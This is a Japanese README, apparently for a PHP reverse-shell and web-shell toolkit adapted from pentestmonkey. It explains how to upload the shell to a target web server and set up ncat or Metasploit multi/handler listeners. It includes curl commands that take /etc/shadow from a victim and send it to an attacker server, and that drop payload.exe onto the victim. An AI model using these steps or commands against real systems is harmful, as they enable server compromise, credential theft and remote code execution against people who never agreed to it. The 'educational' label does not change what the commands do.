
Linux OS、macOS、Windows OSで動作するPHPシェル。
人気のあるPHPリバースシェルスクリプト pentestmonkey/php-reverse-shell を少しリフレッシュしたものです。元の作者にクレジットを捧げます!
Linux OSおよびmacOSでは /bin/sh で、Windows OSでは cmd.exe で動作します。スクリプトは基盤となるOSを自動検出します。
ncat と multi/handler の両方で動作します。
以下でテスト済み:
Windows OS のプロセスパイプは非同期操作をサポートしていないため、stream_set_blocking()、stream_select()、および feof() は正常に動作しませんが、回避策を見つけました。
教育目的で作成しました。お役に立てば幸いです!
/src/reverse/php_reverse_shell.php にはPHP v5.0.0以上が必要です。
/src/reverse/php_reverse_shell_older.php にはPHP v4.3.0以上が必要です。
必要に応じて、スクリプト内のIPアドレスとポート番号を変更してください。
/src/reverse/php_reverse_shell.php をサーバーのWebルートディレクトリ(例: XAMPPでは /opt/lampp/htdocs/)にコピーするか、ターゲットのWebサーバーにアップロードしてください。
お好みのWebブラウザでそのファイルにアクセスしてください。
HTTP POSTリクエストに基づく シンプルなPHPウェブシェル を確認してください。
HTTP GETリクエストに基づく シンプルなPHPウェブシェル を確認してください。コマンドを URLエンコード する必要があります。
HTTP GETリクエストに基づく シンプルなPHPウェブシェルv2 を確認してください。コマンドを URLエンコード する必要があります。
ファイルアップロード用のHTTP POSTリクエストとファイルダウンロード用のHTTP GETリクエストに基づく シンプルなPHPファイルアップロード/ダウンロードスクリプト を確認してください。
ファイルをダウンロードするときは、ファイルパスを URLエンコード する必要があります。
サーバー設定によっては、HTTP GETリクエストパラメータによるファイルダウンロードが常に機能するとは限らないため、代わりにスクリプト内にファイルパスをハードコードする必要があります。
お好みのWebブラウザで被害者のWebサーバー上のスクリプトにアクセスするか、PCからcURLを使用してください。
PCからサーバーのWebルートディレクトリにファイルをアップロードします:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
サーバーからPCにファイルをダウンロードします:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
リバースシェル内で初期権限を昇格させた場合、このスクリプトはシェルと同じ権限を持たない可能性があります。その場合、特定のファイルをダウンロードするには、ファイルをWebルートディレクトリにコピーし、必要な読み取り権限を設定する必要があるかもしれません。
PHPリバースシェルから、以下のcURLコマンドを実行します。
被害者のPCから自分のサーバーのWebルートディレクトリにファイルをアップロードします:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
自分のサーバーのWebルートディレクトリから被害者のPCにファイルをダウンロードします:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
リスナーをセットアップするには、Kali Linuxでお好みのコンソールを開き、以下のいずれかの例を実行します。
ncat リスナーをセットアップします:
ncat -nvlp 9000
multi/handler リスナーをセットアップします:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

図1 - Ncat

図2 - スクリプトのダンプ